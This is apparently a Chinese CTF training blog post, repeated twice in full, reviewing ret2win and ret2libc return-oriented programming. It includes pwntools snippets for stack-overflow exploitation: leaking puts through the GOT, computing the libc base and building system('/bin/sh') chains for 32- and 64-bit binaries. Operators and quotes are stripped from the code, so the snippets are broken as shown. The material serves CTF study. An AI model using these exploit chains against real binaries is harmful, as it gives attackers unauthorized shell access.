写在前面欢迎进入 Week15 的综合实战训练在过去的四周里我们系统学习了堆利用Week11-12、IO_FILE 机制Week13、信息泄露与 ORWWeek14等高阶技术。本周我们将把这些技术融合贯通通过每日两道综合题的实战演练锤炼出真正在赛场上拿分的能力。今天作为热身我们将回顾并深化两种最基础但至关重要的 ROP 技术ret2win与ret2libc。它们是所有高级利用链的基石熟练掌握它们才能在复杂题目中快速构建出稳定的利用框架。 目录ROP 技术核心回顾与热身ret2win最直接的返回劫持ret2libc绕过 NX 的经典艺术综合实战思维从单一技术到组合拳总结与下篇预告1. ROP 技术核心回顾与热身返回导向编程ROP的核心思想是在栈溢出的基础上通过利用程序中已有的、以ret指令结尾的代码片段来控制程序的执行流程csdn.net。这些代码片段被称为Gadgets。1.1 为什么需要 ROP现代操作系统普遍启用了NXNo-eXecute保护使得栈、堆等数据段内存不可执行。传统的注入 shellcode 并跳转执行的方式失效blog.csdn.net1。ROP 通过复用程序自身或已加载库如 libc中的可执行代码巧妙绕过了这一限制。1.2 ROP 链构造核心要素构建一个有效的 ROP 链需要三个核心要素要素说明获取方式Gadgets以ret结尾的指令序列用于控制寄存器或执行逻辑ROPgadget --binary ./pwn栈布局控制精确计算溢出偏移控制返回地址及后续参数GDB 调试pattern offset地址信息目标函数如system及字符串如/bin/sh的地址信息泄露GOT 表或已知 libc栈溢出漏洞计算溢出偏移寻找 Gadgets控制寄存器获取目标地址泄露或计算构造 ROP 链填充栈布局触发漏洞执行 ROP 链2. ret2win最直接的返回劫持ret2win是 ROP 技术中最简单直接的形式。其核心是程序中存在一个后门函数如system(/bin/sh)我们只需通过溢出覆盖返回地址直接跳转到该后门函数即可csdn.net1。2.1 利用条件与流程存在后门函数程序中存在如backdoor(),get_shell()等函数。栈溢出漏洞能够覆盖返回地址。无 Canary 或已绕过否则溢出会触发检测。利用流程# 伪代码示例 from pwn import * p process(./pwn) elf ELF(./pwn) win_addr elf.symbols[win] # 后门函数地址 offset 112 # 溢出偏移量 payload bA * offset p64(win_addr) p.sendline(payload) p.interactive()2.2 实战要点精确偏移使用cyclic或 GDB 的pattern精准计算偏移避免覆盖栈帧其他重要数据。栈对齐64 位程序中函数调用需 16 字节栈对齐。若system内部使用movaps等指令不对齐会导致段错误。可在返回地址前加一个retgadget 进行调整。参数传递若后门函数需要参数如system(/bin/sh)需在 64 位下通过pop rdi; retgadget 设置rdi寄存器指向/bin/sh字符串。3. ret2libc绕过 NX 的经典艺术当程序中没有后门函数但启用了 NX 保护时ret2libc是最经典的利用方式blog.csdn.net1。其核心是通过泄露 libc 中已执行函数的真实地址计算出system和/bin/sh的地址然后构造 ROP 链调用system(/bin/sh)。3.1 核心原理PLT 与 GOT 表PLTProcedure Linkage Table程序链接表存储跳转指令。第一次调用函数时通过 PLT 跳转到动态链接器解析函数地址tencent.com1。GOTGlobal Offset Table全局偏移表存储函数的真实地址。函数第一次被调用后其真实地址会被写入 GOT 表对应项tencent.com1。调用 putsplt第一次调用跳转到 dl_runtime_resolve解析 puts 真实地址写入 GOT 表后续调用直接从 GOT 表取地址执行攻击者泄露 GOT 表获取 puts 真实地址计算 libc 基址和 system 地址3.2 利用流程详解第一步泄露 libc 函数地址利用程序已有的输出函数如puts,write打印另一个函数如puts自身的 GOT 表地址从而获取其真实地址csdn.net1。# 32位示例泄露 puts 真实地址 puts_plt elf.plt[puts] # puts 的 PLT 地址 puts_got elf.got[puts] # puts 的 GOT 地址 main_addr elf.symbols[main] # main 函数地址用于返回 payload bA * offset p32(puts_plt) p32(main_addr) p32(puts_got) p.sendline(payload) puts_addr u32(p.recv(4)) # 接收并解析 puts 的真实地址第二步计算 libc 基址与目标地址利用已知函数的真实地址及其在 libc 中的偏移计算出 libc 的加载基址进而算出system和/bin/sh的地址csdn.net1。# 假设已知 puts 在 libc 中的偏移 libc_base puts_addr - libc.symbols[puts] system_addr libc_base libc.symbols[system] bin_sh_addr libc_base next(libc.search(b/bin/sh))第三步构造第二次溢出执行 system(“/bin/sh”)再次触发栈溢出跳转到system函数并将/bin/sh字符串地址作为参数传入csdn.net1。# 32位示例 payload2 bA * offset p32(system_addr) p32(0xdeadbeef) p32(bin_sh_addr) p.sendline(payload2)3.3 32位与64位差异对比特性32位64位参数传递通过栈传递前6个参数通过寄存器传递Gadget 需求主要控制 EIP需pop rdi; ret等控制寄存器栈布局函数地址→返回地址→参数函数地址→返回地址→需通过Gadget设置参数常见难点栈平衡栈对齐16字节64位 ret2libc 关键点需寻找pop rdi; retgadget 来设置第一个参数/bin/sh地址。注意栈对齐system内部可能要求 16 字节对齐。可使用one_gadget工具寻找满足条件的execve调用简化利用bilibili.com。# 64位示例使用 pop rdi; ret gadget pop_rdi 0x4011e3 # pop rdi; ret 的地址 bin_sh 0x402354 # /bin/sh 字符串地址 system 0x401040 # system 函数的 PLT 地址若已知 payload bA * offset p64(pop_rdi) p64(bin_sh) p64(system) p.sendline(payload)4. 综合实战思维从单一技术到组合拳在真实的 CTF 题目中利用往往不是单一技术而是多种技术的组合。以下是几种常见的组合思路4.1 ret2libc 栈迁移当溢出长度有限不足以放下完整 ROP 链时可通过栈迁移技术将栈指针转移到可控区域如 bss 段再在该区域布置完整的 ROP 链csdn.net。4.2 ret2libc 格式化字符串结合格式化字符串漏洞进行信息泄露获取 libc 地址再利用栈溢出构造 ret2libc 链。这种组合在无输出函数或输出受限的题目中非常有效csdn.net。4.3 ret2libc ORW当题目开启沙箱Seccomp禁用execve时ret2libc 失效。此时需结合 ORW 技术通过 ROP 链调用open、read、write系统调用读取 flag 文件csdn.net。4.4 ret2libc 堆漏洞利用堆漏洞如 UAF、Tcache Poisoning实现任意地址写劫持__free_hook或_IO_list_all结合 ret2libc 技术完成控制流劫持csdn.net。否是是否是否漏洞类型分析是否有沙箱?ret2libc: system/bin/shORW: open/read/write溢出空间足够?直接构造 ROP 链栈迁移 ROP 链是否有可写内存?构造 ORW ROP 链结合堆漏洞劫持 GOT/IO_FILEGetshellGet Flag5. 总结与下篇预告5.1 核心知识点总结ROP 是基石ret2win 和 ret2libc 是所有高级利用技术的根基必须熟练掌握。地址泄露是关键ret2libc 的核心在于通过 PLT/GOT 表泄露 libc 函数真实地址进而计算目标地址。版本差异要注意32位和64位在参数传递、栈布局、Gadget 需求上存在显著差异需针对性构造 ROP 链。组合思维破局复杂题目往往需要结合多种技术如栈迁移、格式化字符串、ORW单一技术难以奏效。5.2 下篇预告在下一篇中我们将进入漏洞组合实战的第一站fmtstr canary ROP结合格式化字符串泄露 Canary并绕过栈保护构造 ROP 链。off-by-one tcache利用单字节溢出破坏 Tcache 链表结构实现任意地址分配。将通过 BUUCTF 或 pwn.college 的真题演示如何从漏洞分析到完整 exp 构造的全过程。结语ret2win 和 ret2libc 就像是 PWN 选手的“起手式”看似简单却蕴含着控制流劫持的核心思想。当你能在任何题目中快速识别出这两种利用路径并灵活与其他技术组合时你就具备了攻克综合题的基础。本周的实战训练就从熟练掌握这两个基础开始。
【学习记录】Week15(一):从 ret2win 到 ret2libc+ROP——综合实战的热身序曲
发布时间:2026/7/5 23:33:38
写在前面欢迎进入 Week15 的综合实战训练在过去的四周里我们系统学习了堆利用Week11-12、IO_FILE 机制Week13、信息泄露与 ORWWeek14等高阶技术。本周我们将把这些技术融合贯通通过每日两道综合题的实战演练锤炼出真正在赛场上拿分的能力。今天作为热身我们将回顾并深化两种最基础但至关重要的 ROP 技术ret2win与ret2libc。它们是所有高级利用链的基石熟练掌握它们才能在复杂题目中快速构建出稳定的利用框架。 目录ROP 技术核心回顾与热身ret2win最直接的返回劫持ret2libc绕过 NX 的经典艺术综合实战思维从单一技术到组合拳总结与下篇预告1. ROP 技术核心回顾与热身返回导向编程ROP的核心思想是在栈溢出的基础上通过利用程序中已有的、以ret指令结尾的代码片段来控制程序的执行流程csdn.net。这些代码片段被称为Gadgets。1.1 为什么需要 ROP现代操作系统普遍启用了NXNo-eXecute保护使得栈、堆等数据段内存不可执行。传统的注入 shellcode 并跳转执行的方式失效blog.csdn.net1。ROP 通过复用程序自身或已加载库如 libc中的可执行代码巧妙绕过了这一限制。1.2 ROP 链构造核心要素构建一个有效的 ROP 链需要三个核心要素要素说明获取方式Gadgets以ret结尾的指令序列用于控制寄存器或执行逻辑ROPgadget --binary ./pwn栈布局控制精确计算溢出偏移控制返回地址及后续参数GDB 调试pattern offset地址信息目标函数如system及字符串如/bin/sh的地址信息泄露GOT 表或已知 libc栈溢出漏洞计算溢出偏移寻找 Gadgets控制寄存器获取目标地址泄露或计算构造 ROP 链填充栈布局触发漏洞执行 ROP 链2. ret2win最直接的返回劫持ret2win是 ROP 技术中最简单直接的形式。其核心是程序中存在一个后门函数如system(/bin/sh)我们只需通过溢出覆盖返回地址直接跳转到该后门函数即可csdn.net1。2.1 利用条件与流程存在后门函数程序中存在如backdoor(),get_shell()等函数。栈溢出漏洞能够覆盖返回地址。无 Canary 或已绕过否则溢出会触发检测。利用流程# 伪代码示例 from pwn import * p process(./pwn) elf ELF(./pwn) win_addr elf.symbols[win] # 后门函数地址 offset 112 # 溢出偏移量 payload bA * offset p64(win_addr) p.sendline(payload) p.interactive()2.2 实战要点精确偏移使用cyclic或 GDB 的pattern精准计算偏移避免覆盖栈帧其他重要数据。栈对齐64 位程序中函数调用需 16 字节栈对齐。若system内部使用movaps等指令不对齐会导致段错误。可在返回地址前加一个retgadget 进行调整。参数传递若后门函数需要参数如system(/bin/sh)需在 64 位下通过pop rdi; retgadget 设置rdi寄存器指向/bin/sh字符串。3. ret2libc绕过 NX 的经典艺术当程序中没有后门函数但启用了 NX 保护时ret2libc是最经典的利用方式blog.csdn.net1。其核心是通过泄露 libc 中已执行函数的真实地址计算出system和/bin/sh的地址然后构造 ROP 链调用system(/bin/sh)。3.1 核心原理PLT 与 GOT 表PLTProcedure Linkage Table程序链接表存储跳转指令。第一次调用函数时通过 PLT 跳转到动态链接器解析函数地址tencent.com1。GOTGlobal Offset Table全局偏移表存储函数的真实地址。函数第一次被调用后其真实地址会被写入 GOT 表对应项tencent.com1。调用 putsplt第一次调用跳转到 dl_runtime_resolve解析 puts 真实地址写入 GOT 表后续调用直接从 GOT 表取地址执行攻击者泄露 GOT 表获取 puts 真实地址计算 libc 基址和 system 地址3.2 利用流程详解第一步泄露 libc 函数地址利用程序已有的输出函数如puts,write打印另一个函数如puts自身的 GOT 表地址从而获取其真实地址csdn.net1。# 32位示例泄露 puts 真实地址 puts_plt elf.plt[puts] # puts 的 PLT 地址 puts_got elf.got[puts] # puts 的 GOT 地址 main_addr elf.symbols[main] # main 函数地址用于返回 payload bA * offset p32(puts_plt) p32(main_addr) p32(puts_got) p.sendline(payload) puts_addr u32(p.recv(4)) # 接收并解析 puts 的真实地址第二步计算 libc 基址与目标地址利用已知函数的真实地址及其在 libc 中的偏移计算出 libc 的加载基址进而算出system和/bin/sh的地址csdn.net1。# 假设已知 puts 在 libc 中的偏移 libc_base puts_addr - libc.symbols[puts] system_addr libc_base libc.symbols[system] bin_sh_addr libc_base next(libc.search(b/bin/sh))第三步构造第二次溢出执行 system(“/bin/sh”)再次触发栈溢出跳转到system函数并将/bin/sh字符串地址作为参数传入csdn.net1。# 32位示例 payload2 bA * offset p32(system_addr) p32(0xdeadbeef) p32(bin_sh_addr) p.sendline(payload2)3.3 32位与64位差异对比特性32位64位参数传递通过栈传递前6个参数通过寄存器传递Gadget 需求主要控制 EIP需pop rdi; ret等控制寄存器栈布局函数地址→返回地址→参数函数地址→返回地址→需通过Gadget设置参数常见难点栈平衡栈对齐16字节64位 ret2libc 关键点需寻找pop rdi; retgadget 来设置第一个参数/bin/sh地址。注意栈对齐system内部可能要求 16 字节对齐。可使用one_gadget工具寻找满足条件的execve调用简化利用bilibili.com。# 64位示例使用 pop rdi; ret gadget pop_rdi 0x4011e3 # pop rdi; ret 的地址 bin_sh 0x402354 # /bin/sh 字符串地址 system 0x401040 # system 函数的 PLT 地址若已知 payload bA * offset p64(pop_rdi) p64(bin_sh) p64(system) p.sendline(payload)4. 综合实战思维从单一技术到组合拳在真实的 CTF 题目中利用往往不是单一技术而是多种技术的组合。以下是几种常见的组合思路4.1 ret2libc 栈迁移当溢出长度有限不足以放下完整 ROP 链时可通过栈迁移技术将栈指针转移到可控区域如 bss 段再在该区域布置完整的 ROP 链csdn.net。4.2 ret2libc 格式化字符串结合格式化字符串漏洞进行信息泄露获取 libc 地址再利用栈溢出构造 ret2libc 链。这种组合在无输出函数或输出受限的题目中非常有效csdn.net。4.3 ret2libc ORW当题目开启沙箱Seccomp禁用execve时ret2libc 失效。此时需结合 ORW 技术通过 ROP 链调用open、read、write系统调用读取 flag 文件csdn.net。4.4 ret2libc 堆漏洞利用堆漏洞如 UAF、Tcache Poisoning实现任意地址写劫持__free_hook或_IO_list_all结合 ret2libc 技术完成控制流劫持csdn.net。否是是否是否漏洞类型分析是否有沙箱?ret2libc: system/bin/shORW: open/read/write溢出空间足够?直接构造 ROP 链栈迁移 ROP 链是否有可写内存?构造 ORW ROP 链结合堆漏洞劫持 GOT/IO_FILEGetshellGet Flag5. 总结与下篇预告5.1 核心知识点总结ROP 是基石ret2win 和 ret2libc 是所有高级利用技术的根基必须熟练掌握。地址泄露是关键ret2libc 的核心在于通过 PLT/GOT 表泄露 libc 函数真实地址进而计算目标地址。版本差异要注意32位和64位在参数传递、栈布局、Gadget 需求上存在显著差异需针对性构造 ROP 链。组合思维破局复杂题目往往需要结合多种技术如栈迁移、格式化字符串、ORW单一技术难以奏效。5.2 下篇预告在下一篇中我们将进入漏洞组合实战的第一站fmtstr canary ROP结合格式化字符串泄露 Canary并绕过栈保护构造 ROP 链。off-by-one tcache利用单字节溢出破坏 Tcache 链表结构实现任意地址分配。将通过 BUUCTF 或 pwn.college 的真题演示如何从漏洞分析到完整 exp 构造的全过程。结语ret2win 和 ret2libc 就像是 PWN 选手的“起手式”看似简单却蕴含着控制流劫持的核心思想。当你能在任何题目中快速识别出这两种利用路径并灵活与其他技术组合时你就具备了攻克综合题的基础。本周的实战训练就从熟练掌握这两个基础开始。